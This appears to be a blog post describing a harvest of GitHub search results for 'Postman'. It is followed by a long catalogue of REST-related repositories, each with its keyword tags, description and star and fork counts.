When you search for "Postman" on GitHub you get back 7,404 (6,200 when I started this work). Whether you are searching through the GitHub UI or API you are limited to pulling the first 1,000 results, introducing some significant constraints if you want to pull the entire datasets. To pull the data incrementally over time across a wide vocabulary I created a Postman collection to do the hard work, storing the data in a Postman environment. At about 5,100 records, working within Postman became unwieldy and I published the data to a custom external system for processing.
After developing the vocabulary to help me search for GitHub results, narrowing down the search scope for each request I was eventually able to get all of the results, but then also was able to develop a way of viewing results, helping me filter, sort, and make sense of the different types of projects being built on GitHub using Postman. While there is still a significant amount of work to be done on the vocabulary I am using to bring this all into focus, I think it is beginning to paint a pretty dynamic picture of what is happening across the API landscape using Postman.
This lists results by areas of standardization. Not all of these are official standards but they are working to help standardize what is happening.
postmanlabs/postman-chrome-interceptor chrome, extension, header, package, rest, restrict, send |
Helper extension for the Postman packaged app. Also helps send restricted headers. | 178 stars | 178 watchers | 59 forks |
davellanedam/node-express-mongodb-jwt-rest-api-skeleton angular, async, consume, express, frontend, github, http, https, mongo, mongod, mongodb, node, react, rest, skeleton, starter, sync |
This is a basic API REST skeleton written on JavaScript using async/await. Great for building a starter web API for your front-end (Android, iOS, Vue, react, angular, or anything that can consume an API). Demo of frontend in VueJS here: https://github.com/davellanedam/vue-skeleton-mvp | 0 stars | 0 watchers | 119 forks |
vmware/vsphere-automation-sdk-rest automat, automation, document, documentation, reference, rest, sample, samples, vmware, vsphere |
REST (Postman and JavaScript) samples and API reference documentation for vSphere using the VMware REST API | 0 stars | 0 watchers | 89 forks |
fbenz/restdocs-to-postman collection, collections, docs, rest, snippet, snippets |
Converts Spring REST Docs cURL snippets to Postman and Insomnia collections | 31 stars | 31 watchers | 5 forks |
Massad/gin-boilerplate boiler, boilerplate, data, database, default, fastest, lang, rest, restful, skeleton, starter, storage, struct, structure, test |
The fastest way to deploy a (skeleton) restful api’s with Golang - Gin Framework with a structured starter project that defaults to PostgreSQL database and Redis as the session storage. | 0 stars | 0 watchers | 65 forks |
tiagohm/restler powerful, quickly, rest, restler, test, testing |
Restler is a beautiful and powerful Android app for quickly testing REST API anywhere and anytime. | 19 stars | 19 watchers | 5 forks |
rwieruch/node-express-server-rest-api express, node, rest, server |
Basic Node with Express Server with REST API | 0 stars | 0 watchers | 42 forks |
deeplook/ipyrest book, books, emerging, exploring, note, rest |
An emerging widget for exploring RESTful APIs in Jupyter notebooks. | 17 stars | 17 watchers | 1 forks |
larrybotha/postman-rest-api-testing rest, test, testing |
Notes on how to use Postman to test REST APIs | 10 stars | 10 watchers | 8 forks |
nicp0nim/rest-api boiler, boilerplate, rest, restful, restfull |
Laravel restfull api boilerplate | 0 stars | 0 watchers | 22 forks |
davellanedam/phalcon-micro-rest-api-skeleton angular, consume, frontend, phalcon, react, rest, skeleton |
This is a basic API REST skeleton written on Phalcon PHP. Great For building an MVP for your frontend app (Vue, react, angular, or anything that can consume an API) | 0 stars | 0 watchers | 19 forks |
UnexpectedEOF/paypal-rest-postman-collections client, collection, collections, expect, file, files, rest |
A couple of PayPal API collection files for the Postman REST client. | 0 stars | 0 watchers | 18 forks |
rishabhcha/grpc-test endpoint, favorite, grpc, rest, service, test, tool |
Test your Grpc service as easy as a rest endpoint with your favorite API tool like Postman or Swagger. | 6 stars | 6 watchers | 0 forks |
Azure-Samples/media-services-v3-rest-postman collection, media, postman collection, rest, service, services |
The postman collection in this repository contains REST calls to Azure Media Services v3 APIs. | 0 stars | 0 watchers | 11 forks |
kamranayub/azure-storage-rest-postman azure, collection, rest, storage |
Postman collection to sign requests to Azure Storage Management REST API | 0 stars | 0 watchers | 11 forks |
ljphilp/koa-restful rest, restful, sequelize |
基于koa2 orm sequelize的restful框架,使用jwt认证,可以使用postman测试学习 | 0 stars | 0 watchers | 11 forks |
dzvlfi/Rest-API-Random-Forest class, credit, random, rest |
REST-API for credit scoring with random forest classifier | 4 stars | 4 watchers | 1 forks |
linzhouzhi/postman-plus rest, restful |
网页版postman,可以分组管理restful接口,部署到跳板机就可以在本地访问线上接口了 | 4 stars | 4 watchers | 1 forks |
yourtion/node-erest node, rest |
快速构建 Rest API 并自动生成API文档、Swagger、Postman文件与测试 | 4 stars | 4 watchers | 1 forks |
soumyadip007/Customer-Relationship-Management-Real-time-CURD-Application-using-Spring-Rest-Json-HQL-WebServices application, import, rest, restful, service, services, spring |
CRUD (Create, Read, Update and Delete) application is the most important application for creating any project. In spring Rest, we have developed this using Jackson,Postman and restful web services. | 3 stars | 3 watchers | 1 forks |
networktocode/nso-restconf-postman-examples description, example, examples, network, rest, script |
No description available. | 0 stars | 0 watchers | 6 forks |
bzdgn/simple-grizzly-standalone-restful-webservice-example application, example, grizzly, rest, restful, service, standalone, webservice |
A simple Grizzly standalone RESTful webservice application with Configuration Manager Implementation and Dummy Cache Repository | 3 stars | 3 watchers | 0 forks |
ashishksingh/postman_collection_for_oci_rest collection, environment, environments, rest |
Postman Collection and environments for Invoking Oracle OCI REST APIs. | 0 stars | 0 watchers | 5 forks |
cassiomolin/tasks-rest-api managing, rest, task, tasks |
Sample REST API for managing tasks using Spring Boot, Jersey, Jackson, MapStruct, Hibernate Validator and REST Assured. | 0 stars | 0 watchers | 5 forks |
vitorverasm/node-crud-rest crud, express, mongo, node, rest, restful, simlpe |
A simlpe restful NodeJS crud, with expressJS and mongoDB. | 0 stars | 0 watchers | 5 forks |
command-line-physician/command-line-physician command, curated, data, database, find, intention, local, rest, spec, store, test, testing, unit, user, users, util, utilizes |
Our intention with this app is to let users find natural herbal based remedies for their ailments. Our app allows users to browse our specially curated herb database by name and latin name. Command-Line Physician also allows users to locate the nearest store where they can find their unique remedy, or a local resident who has the herb available to share. Tech stack: Command-line Physician is a RESTful api that utilizes Node, Express, Jest, end-to-end and unit testing. Our testing was carried out by Compass, Robo 3T, and Postman. | 0 stars | 0 watchers | 4 forks |
akarneliuk/rest_api_all example, examples, rest |
Working REST API examples for Ansible, Python, Bash and Postman | 2 stars | 2 watchers | 0 forks |
meshboy/apitest apitest, rest, restful, slim, test |
restful api using slim | 2 stars | 2 watchers | 0 forks |
rahulmoundekar/spring-boot-exception-handler boot, controller, handler, rest, spring |
spring-boot-exception-handler with rest controller-postman | 2 stars | 2 watchers | 0 forks |
edysegura/nodejs-restful demonstrate, node, nodejs, rest, restful, test |
A simple project to demonstrate how to create RESTful APIs with Node.js and test it with Postman | 1 stars | 1 watchers | 1 forks |
limadelrey/vertx-simple-reactive-rest-api-mongo active, mongo, react, reactive, rest, vertx |
Simple reactive REST API using Java, Vert.x, MongoDB, RxJava2 and Docker. | 1 stars | 1 watchers | 1 forks |
GreaterMKEMeetup/spring-restdocs-postman collection, collections, docs, extension, import, importable, portable, rest, spring |
A Spring REST Docs extension that produces importable Postman collections. | 0 stars | 0 watchers | 2 forks |
AsodariyaP/node-restful-api mongo, mongod, mongodb, node, rest, restful |
node-mongodb restful api | 1 stars | 1 watchers | 0 forks |
DrSnowbird/rest-dev-vnc-docker common, docker, rest, tool, tools |
Restful / SOAP API Development with common tools in VNC/noVNC-based Docker | 1 stars | 1 watchers | 0 forks |
ana-biscalchin/burguer-queen-api rest, restaurant |
Banco de dados em SQL para gerenciador de comandas de um restaurante. | 1 stars | 1 watchers | 0 forks |
BermudezK/api-rest rest, test |
postman test | 1 stars | 1 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-Big-Zude intern, internship, introduction, rest |
introduction-to-rest-api-with-postman-Big-Zude created by GitHub Classroom | 1 stars | 1 watchers | 0 forks |
buckle/restdocs-tool-export docs, download, export, exports, import, imported, rest, snippet, snippets, tool |
Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. | 1 stars | 1 watchers | 0 forks |
chuqingq/restcloud cloud, rest, rest api, test, tool |
a cloud test tool for rest api, like postman | 1 stars | 1 watchers | 0 forks |
cprice-ping/Postman-Personal entity, move, moved, rest |
Collections I'm working on - those of interest to the broader Ping Identity audience will be moved over | 1 stars | 1 watchers | 0 forks |
CrisOspina/api-rest-con-nodejs-y-express express, node, nodejs, rest |
API Rest con Nodejs y Express | 1 stars | 1 watchers | 0 forks |
davidenoma/Restful-Explore-California-App boot, data, form, format, information, location, package, packages, rating, rest, restful, service, spring, spring boot, tours |
A restful spring boot micro service based on spring data JPA and spring rest. It allows requests to the web service that returns information about tours, tour packages and tour ratings about locations in california. | 1 stars | 1 watchers | 0 forks |
jchizim/restful_booker_api_postman_tests book, booker, collection, host, postman collection, rest, restful, test, tests |
Repository to host my Restful Booker postman collection & tests | 1 stars | 1 watchers | 0 forks |
Kahoza/REST_APIS rest, rest api, test |
rest apis to be test with Postman | 1 stars | 1 watchers | 0 forks |
kpraneeth3456/JWT-Authentication account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user |
Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. | 1 stars | 1 watchers | 0 forks |
lulzimgashi95/spring-restful-api framework, rest, restful, spring |
Restful API with Spring framework | 1 stars | 1 watchers | 0 forks |
most-007/task-managment document, email, file, html, link, mail, rest, task |
Cakephp app for task management and rest API to get all links in a given html document URL , and API to sent PDF file using postman to a given email | 1 stars | 1 watchers | 0 forks |
ostenant/postman-restful-api-exporter export, exporter, rest, restful, tenant |
postman-restful-api-exporter | 1 stars | 1 watchers | 0 forks |
pawanmethre/my-first-Flask-resful-application api blueprint, application, asyncapi, data, database, flask, flask restful, json schema, oauth, openid, python, rest, restful, sql, sqlite, tool |
My first python flask restful application using postman tool which is basically CURD application for items and price using sqlite3 database. | 1 stars | 1 watchers | 0 forks |
pedroSG94/lazy-api-rest collection, export, exported, generate, json, module, postman collection, rest |
Python project to generate a API rest module for Android using a json exported from postman collection | 1 stars | 1 watchers | 0 forks |
renato-macedo/apirest rest |
Documentação no Postman => | 1 stars | 1 watchers | 0 forks |
rishav-ish/restWebServiceDemo operation, operations, rest |
A simple REST api showing Basic CRUD operations | 1 stars | 1 watchers | 0 forks |
rishu488/REST-api-in-nodejs-using-mongoose-express express, mini, mongo, mongoose, node, nodejs, rest, rest api |
its a mini project of creating a rest api using mongoose express and postman | 1 stars | 1 watchers | 0 forks |
skhetarpaul/project-back-end arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users |
This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. | 1 stars | 1 watchers | 0 forks |
smmcgrath/MyFirstApp access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app |
Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. | 1 stars | 1 watchers | 0 forks |
Umang080799/CRUD-App- action, book, books, details, form, host, local, object, objects, reading, rest, restful, route, routes, server, updating |
I made a Crud App using Node.js,Express.js and Mongoose.js. I built out a book Schema for creating,reading,updating and deleting books. Used Express Scripts to create routes that will form the basis for a restful API. Used POSTMAN to perform actions on the routes All the book details were altered as JSON objects. I created and used Google Chrome to confirm the changes made on the local host server port 8080. | 1 stars | 1 watchers | 0 forks |
dustinrohde/restcli client, library, rest, terminal |
An API client library and CLI written in Python. It's Postman for terminal lovers! | 0 stars | 0 watchers | 2 forks |
yannickbodin/EIP_Postman_Library rest, rest web, server, service, services, webservice, webservices |
Library of rest webservices call for EfficientIP SOLIDserver appliances | 0 stars | 0 watchers | 2 forks |
dare-rider/restaurant_reservation_api 4107, collection, collections, http, https, reservation, rest, restaurant |
Postman Collection Link: https://www.getpostman.com/collections/c874107058b288d51bfc | 0 stars | 0 watchers | 1 forks |
skyupadhya/restful-db-interface client, framework, interface, inventory, python, rest, restful, system, test, testing |
RESTFUL INVENTORY MANAGEMENT SYSTEM: Rest based inventory management system implemented using Bottle (python based) web framework. System testing was done using Postman REST client. | 0 stars | 0 watchers | 1 forks |
bharath411/testrail collection, collections, postman collection, postman collections, rest, restapi, test, testrail |
This repository contains testrail restapi requests in postman collections. | 0 stars | 0 watchers | 1 forks |
szmc/rest-api-testing-demo curl, rest, rest api, test, testing, tool, tools |
Repository for demo of rest api testing using different tools(Postman, Jmeter, SoapUI, curl, Rest-Assured) | 0 stars | 0 watchers | 1 forks |
telosys-templates-v3/web-rest-postman collection, rest, telosys, template, templates, test, testing, tests |
REST testing with Postman tests collection | 0 stars | 0 watchers | 1 forks |
VuThiTranVan/SpringMVC-with-rest-with-xml-file-config-guidle-postman config, description, file, rest, script |
No description available. | 0 stars | 0 watchers | 1 forks |
cooperstrahan/mean_restful_routing_api assignment, mean, rest, restful, routing, test, tested |
Coding Dojo's Restful Routing assignment tested on Postman | 0 stars | 0 watchers | 1 forks |
DanSchon/postman_rest_api_test_automation automat, automate, automated, automation, collection, end to end, rest, rest api, test |
built an automated end to end rest api test collection | 0 stars | 0 watchers | 1 forks |
danyellington/jadle rest, restaurant, yelp |
jadle, postman, yelp restaurant review practice | 0 stars | 0 watchers | 1 forks |
ddemott/spring-restful-web-services-crud-example crud, example, function, functions, html, index, java, projects, rest, restful, service, services, spring, test, tested, to do |
DESCRIPTION: This project represents a base Spring 4 legacy project for Spring MVC / REST services. The REST services are handled / tested by index.html. This is done so you can see an example of how to call all of the CRUD functions from a web page. Most projects do not make the calls from a web page but from POSTMAN or even from a test function which does you no good if you are trying to figure out how to do call from a webpage. Dependencies ------------ Maven 3.1 Java 8 Spring 4 Spring MVC 4 Jackson Databind javax.servlet-api 3.1 | 0 stars | 0 watchers | 1 forks |
highmobility/hm-rest-api-postman-collection collection, reference, rest |
HM REST API Postman Collection and reference Environment | 0 stars | 0 watchers | 1 forks |
jreimao/api-culinary-recipes design, designed, recipe, rest, restful, user, users, util |
api restful foi desenhada para gerir 'receitas de culinária' e os seus utilizadores | api restful is designed to manage 'culinary recipes' and their users | 0 stars | 0 watchers | 1 forks |
kassergey/vocabRestful angular, curl, express, mongo, mongod, mongodb, node, rest, restful, vocabulary |
vocabulary without words, restful app, MEAN(mongodb, express.js, angular.js, node.js), curl, postman | 0 stars | 0 watchers | 1 forks |
kshtz25/StockMarketPostman rest, rest api |
using rest api | 0 stars | 0 watchers | 1 forks |
movinalot/intersight-rest-api action, intersight, rest |
Intersight REST API interactions with Postman and Python | 0 stars | 0 watchers | 1 forks |
nhipham65/UI_API_Automation_Test automat, automation, http, https, json, place, placeholder, rest, site |
Complete UI (Katalon) and API (Postman) automation site: UI - http://demo.prestashop.com; API - https://jsonplaceholder.typicode.com/ | 0 stars | 0 watchers | 1 forks |
StephanieToper/kafka-connect-rest-api kafka, rest |
Postman | 0 stars | 0 watchers | 1 forks |
StephanieToper/kafka-rest-api kafka, rest |
Postman | 0 stars | 0 watchers | 1 forks |
wanderindev/postman-hr-rest-api endpoint, endpoints, environment, rest |
Collection of endpoints and environment for hr-rest-api | 0 stars | 0 watchers | 1 forks |
xrayin/springboot-rest-image-retriever application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system |
A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png | 0 stars | 0 watchers | 1 forks |
beekman/resty browser, client, http, rest, resty, runs |
RESTy is an API Server client appliction. It’s a lot like Postman or httpie, but it runs in the browser. | 0 stars | 0 watchers | 0 forks |
e-attestations/ea-api-rest-postman collection, collections, rest, stat, test |
Postman collections for e-Attestations API REST | 0 stars | 0 watchers | 0 forks |
Earthport/rest-api-postman client, clients, collection, collections, integration, rest, test |
This repository contains Postman collections to help Earthport clients test their integration into Earthport's APIs | 0 stars | 0 watchers | 0 forks |
ab199506/Employee-Management application, hibernate, rest, spring |
CRUD application using spring rest ,hibernate, JSON ,PostMan | 0 stars | 0 watchers | 0 forks |
admindebu/RestFul-API-Testing-server admin, client, rest, restful, server, service, test, testing, tool |
This is the Server of testing restful web service. and your tool - postman / rest client act as an client. | 0 stars | 0 watchers | 0 forks |
akash-akya/resty.el endpoint, endpoints, interface, rest, resty |
WIP: Programmable emacs interface to interact with RESTful endpoints | 0 stars | 0 watchers | 0 forks |
Aliona808/rest_api_testing_postman rest, test, testing |
Testing of Trello REST API by Postman. | 0 stars | 0 watchers | 0 forks |
aviskase/ss-pygre integration, rest, select, stupid, test, testing |
simple & stupid "rest" api select caller for PostgreSQL for integration testing via Postman | 0 stars | 0 watchers | 0 forks |
brankozecevic/php_oop_rest_api api blueprint, asyncapi, blog, client, data, database, environment, function, functional, import, json schema, oauth, openid, posts, principles, rest, server, sql, test, testing |
This is a REST API using PHP and OOP principles. There is also MySQL database that you can use to import on your server (myblog.sql). This REST API is based on CRUD functionality (blog posts and blog categories). For testing use Postman app environment as a REST client. | 0 stars | 0 watchers | 0 forks |
bwainaina380/rest-api-setup client, rest, route, routes, server, setting, setup, test, testing |
This is practice for setting up a REST API with routes and a server and testing that everything is working using Postman client | 0 stars | 0 watchers | 0 forks |
Dev-Steven/restful_task_API rest, restful, task, test, testing |
Created a RESTful task API and testing the API using Postman | 0 stars | 0 watchers | 0 forks |
disconnect5852/security rest, rest api, security, spring, test, testing |
testing spring security, testing of testing, simple rest api, trying out postman, etc. | 0 stars | 0 watchers | 0 forks |
dmc152/task2-jairo-newman newman, rest, restapi, task, task2, test |
Todoist restapi test using postman and newman | 0 stars | 0 watchers | 0 forks |
FachrulCH/rest-api-test-postman-newman json, mock, newman, rest, server, test |
Test REST API using postman/newman against mock server made by json-server | 0 stars | 0 watchers | 0 forks |
FachrulCH/webservices-test-framework-compare assured, compare, framework, newman, opinion, personal, rest, script, service, services, test, webservice, webservices |
personal opinion for test framework for web services in PHP, Python, Javascript, and Java. using codeception, postman-newman, robot framework, rest assured | 0 stars | 0 watchers | 0 forks |
Mardiv-18/Rest-Api-TSF_NoobCoder api blueprint, asyncapi, boot, hibernate, java, json schema, mysql, oauth, openid, rest, rest api, spring, spring boot, sql |
Task of building rest api with java, spring boot -mvc-hibernate , jpa, mysql, postman | 0 stars | 0 watchers | 0 forks |
md-amir/fileupload file, image, laravel, multiple, rest, rest api, upload |
Upload multiple image using rest api (postman ) in laravel | 0 stars | 0 watchers | 0 forks |
rajiradhadevi/restaurants-api-automation-postman automat, automation, description, jira, rest, restaurant, restaurants, script |
No description available. | 0 stars | 0 watchers | 0 forks |
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
AbhieSpeaks/restful-node local, mongo, mongod, mongodb, node, operation, operations, rest, restful, test, tested |
A simple Node/Express/Mongoose based REST API for CRUD operations on a local mongodb. These can be tested in Chrome Postman | 0 stars | 0 watchers | 0 forks |
ali-yasin/restful-api-node.js description, node, rest, restful, script |
No description available. | 0 stars | 0 watchers | 0 forks |
AlinaBerestenko/neron-postman-tests description, rest, script, test, tests |
No description available. | 0 stars | 0 watchers | 0 forks |
annashrul/rest-server-postman description, rest, script, server |
No description available. | 0 stars | 0 watchers | 0 forks |
AntoMullen/New-Repo-Postman-testing-11 rest, rest api, tesing, test, testing |
This is first repo tesing Git hub rest api | 0 stars | 0 watchers | 0 forks |
AntoMullen/New-Repo-Postman-testing-8 rest, rest api, tesing, test, testing |
This is first repo tesing Git hub rest api | 0 stars | 0 watchers | 0 forks |
arfaram/ezplatform_rest_api_postman description, form, platform, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
aschambers/restful library, node, rest, restful, test, testing |
creating a restful api using the node-restful library, and testing with postman. | 0 stars | 0 watchers | 0 forks |
automationlabs-io/restaurants-api-automation-using-postman-newman automat, automation, description, newman, rest, restaurant, restaurants, script |
No description available. | 0 stars | 0 watchers | 0 forks |
boxcore/bak-postman-rest-client client, description, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
chaitasipatel25/restExample chai, rest |
Testing Postman Rest API | 0 stars | 0 watchers | 0 forks |
chandanaraj51/payroll-rest-api-postman description, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
chandanaraj51/payroll-rest-api-postman-spark-foundation-internship description, foundation, intern, internship, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
contentful/ls-postman-rest-api content, description, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
Dorian92/node-rest-postman description, node, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
evelynda1985/mulesoft-rest-webservice-app mulesoft, rest, rest web, service, studio, webservice |
Call rest webserice using mulesoft, postman, anypoint studio | 0 stars | 0 watchers | 0 forks |
iamwarning/spring-restfullwb description, rest, restful, restfull, script, spring |
No description available. | 0 stars | 0 watchers | 0 forks |
Jaikangam93/restfulAPI_ecommerce_usingPOSTMAN_laravel5.7 commerce, description, ecommerce, laravel, rest, restful, script |
No description available. | 0 stars | 0 watchers | 0 forks |
lekhrajprasad/springboot-mongodb boot, crud, mongo, mongod, mongodb, operation, rest, spring, spring boot, springboot, test |
crud operation using spring boot , mongo db, rest, to test use postman | 0 stars | 0 watchers | 0 forks |
marykayrima/Postman_dummy_testing dummy, employee, employees, example, http, rest, restapi, test, testing |
http://dummy.restapiexample.com/api/v1/employees | 0 stars | 0 watchers | 0 forks |
mattass/postman-restapi-part2 description, rest, restapi, script |
No description available. | 0 stars | 0 watchers | 0 forks |
mbisht/restfulapi grant, laravel, rest, restful, restfulapi |
laravel-postman-vagrant | 0 stars | 0 watchers | 0 forks |
olzh2102/rest-api-playlist description, list, play, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
qaespence/REST_API_Testing_POSTMAN http, https, rest, site, test, testing |
REST API testing using Postman for the site https://gorest.co.in | 0 stars | 0 watchers | 0 forks |
rajendraprasad10/flask_restapi_mongodb creation, crud, flask, mongo, mongod, mongodb, rest, restapi |
crud app with flask and mongodb postman API creation | 0 stars | 0 watchers | 0 forks |
RMUSMAN/laravel-simple-restful-api-crud crud, json, laravel, rest, restful, test, tested, validation |
simple restful api crud in laravel tested in postman. validation response in json. | 0 stars | 0 watchers | 0 forks |
ryandgoulding/restconf-notification-service-postman description, notification, rest, script, service |
No description available. | 0 stars | 0 watchers | 0 forks |
SadeeshKumarMN/explore-restful-booker-api-with-postman book, booker, description, explore, rest, restful, script |
No description available. | 0 stars | 0 watchers | 0 forks |
sandysanthosh/rest-apii description, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
Sestri4kina/rest-api-tutorial description, rest, script, tutorial |
No description available. | 0 stars | 0 watchers | 0 forks |
sharanya-rao/media-services-v3-rest-postman description, media, rest, script, service, services |
No description available. | 0 stars | 0 watchers | 0 forks |
SimerjeetWalia/API-testing rest, test, testing |
Api testing using postman and restAssured | 0 stars | 0 watchers | 0 forks |
smsglobal/example-postman-rest-client client, example, rest, script, test, testing |
Postman script for REST API testing | 0 stars | 0 watchers | 0 forks |
ssurbhi19/git-rest-postman description, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
tarang777/Create-order-using-oauth-rest-api-in-android android, api blueprint, asyncapi, auth, json schema, oauth, openid, order, rest, rest api, sql, test, testing, tool |
Order not getting created with android app using rest api, but it works well with the postman ie rest api testing tool. | 0 stars | 0 watchers | 0 forks |
venkatdoss1989/Postman_rest_api description, rest, script |
No description available. | 0 stars | 0 watchers | 0 forks |
zenithtekla/simpleRestAPI chrome, client, complex, form, light, rest, restclient, test, tested, testing |
RestAPI made simple, tested with Advanced REST client chromeApp, offered by chromerestclient.com, this App is much simpler, fast and light to perform testing than clumsy, complex Postman UI | 0 stars | 0 watchers | 0 forks |
1tallgirl/soap_rest_templates rest, service, services, soap, template, templates |
Holds Boomerang SOAP and POSTman REST request templates for web services. | 0 stars | 0 watchers | 0 forks |
5uw1st/postman email, mail, rest, restful |
Send email by restful api and Configurable | 0 stars | 0 watchers | 0 forks |
abroz/lunch-picker collection, discover, discovery, lunch, picker, powered, rest, restaurant, service |
Lunch Picker is a Postman collection that acts as a restaurant discovery service, powered by the Yelp Fusion API. | 0 stars | 0 watchers | 0 forks |
abutufail/SpringTiaa11 fake, fakedeo, rest |
fakedeo postman rest | 0 stars | 0 watchers | 0 forks |
Adel5749/Springboot-rest-api-taskSchedule-UsingPostmanForTest boot, rest, rest api, task |
Spring Boot rest api | 0 stars | 0 watchers | 0 forks |
adhenrique/nito-rest-client client, rest |
A simple web rest client, like Postman | 0 stars | 0 watchers | 0 forks |
agafun/Restful-Booker-API-tests book, booker, heroku, http, https, rest, restful, test, tests |
API tests of https://restful-booker.herokuapp.com with Postman | 0 stars | 0 watchers | 0 forks |
aisabel/Postman-pinterestExamples access, account, dashboard, rest, rest api, spec, token, tokens |
This repository is just to access pinterest api and create dashboards in a specific account using tokens. | 0 stars | 0 watchers | 0 forks |
alafourcadedespaigne/node-rest-server node, rest, server |
Node Rest Server | 0 stars | 0 watchers | 0 forks |
alexisgonzale/node-restserver node, rest, server |
Node con DB y postman | 0 stars | 0 watchers | 0 forks |
Alpha-github/rest_api flask, github, rest, server, test |
Create a web server using flask and test for API requests using postman | 0 stars | 0 watchers | 0 forks |
also-rc/ApiRestJava rest, todo |
Api rest que conecta a una bd, no gui, todo desde el navegador o postman | 0 stars | 0 watchers | 0 forks |
AntonKtrue/rest-json2doc document, json, office, rest, rest api |
Converter for postman json rest api to office document | 0 stars | 0 watchers | 0 forks |
ArturWieczorek/explorer-rest-api-tests-postman explore, explorer, rest, test, tests |
Cardano Explorer REST API tests created with Postman | 0 stars | 0 watchers | 0 forks |
asheeshmisra/postman-Bing_In_Zomato collection, place, postman collection, public, rest, restaurant, search, spec |
This is a public repository having a postman collection to search for a restaurant near a specified place using Zomato API and Bing Maps REST API. | 0 stars | 0 watchers | 0 forks |
ashwinies/learning-program boot, learn, learning, program, reference, rest, rest service, sample, service, services, spring, spring boot |
sample project on spring boot, rest services using postman on reference Genomes | 0 stars | 0 watchers | 0 forks |
awaisbub/Shircle aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track |
It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. | 0 stars | 0 watchers | 0 forks |
bamaboyAsh/springbootrestapi api blueprint, application, asyncapi, boot, json schema, mysql, oauth, openid, rest, restapi, spring, springboot, sql |
Spring Boot application using Hibernate mysql Rest API and Postman | 0 stars | 0 watchers | 0 forks |
Belchenkov/nestjs-rest-api apps, framework, nest, nestjs, rest, server |
Explore the Nest JS Node.js framework which allows you to build fast and scalable server-side apps and APIs. | 0 stars | 0 watchers | 0 forks |
better-a-little/springboot-restful-postman boot, rest, restful, spring, springboot |
简单测试restful接口,用springboot创建项目,postman测试工具测试 | 0 stars | 0 watchers | 0 forks |
birish87/ppgService api blueprint, asyncapi, boot, integrate, iris, json schema, oauth, openid, postgres, postgresql, rest, rest service, service, spring, springboot, sql |
simple springboot, rest service whereby we can integrate postman with our postgresql db. | 0 stars | 0 watchers | 0 forks |
Bitcoinera/restful-api following, rest, restful, route, routes, test |
This is a project following the Complete Code Bootcamp 2019 of Angela Yu, using Postman to test different routes | 0 stars | 0 watchers | 0 forks |
blobtimm/postman-collection-and-kotlin-rest-server collection, portion, rest, server, technical, workshop |
The technical portion to our QAIQuest 2019 workshop. | 0 stars | 0 watchers | 0 forks |
bongohive-internship/introduction-to-rest-api-with-postman-alfeyo intern, internship, introduction, rest |
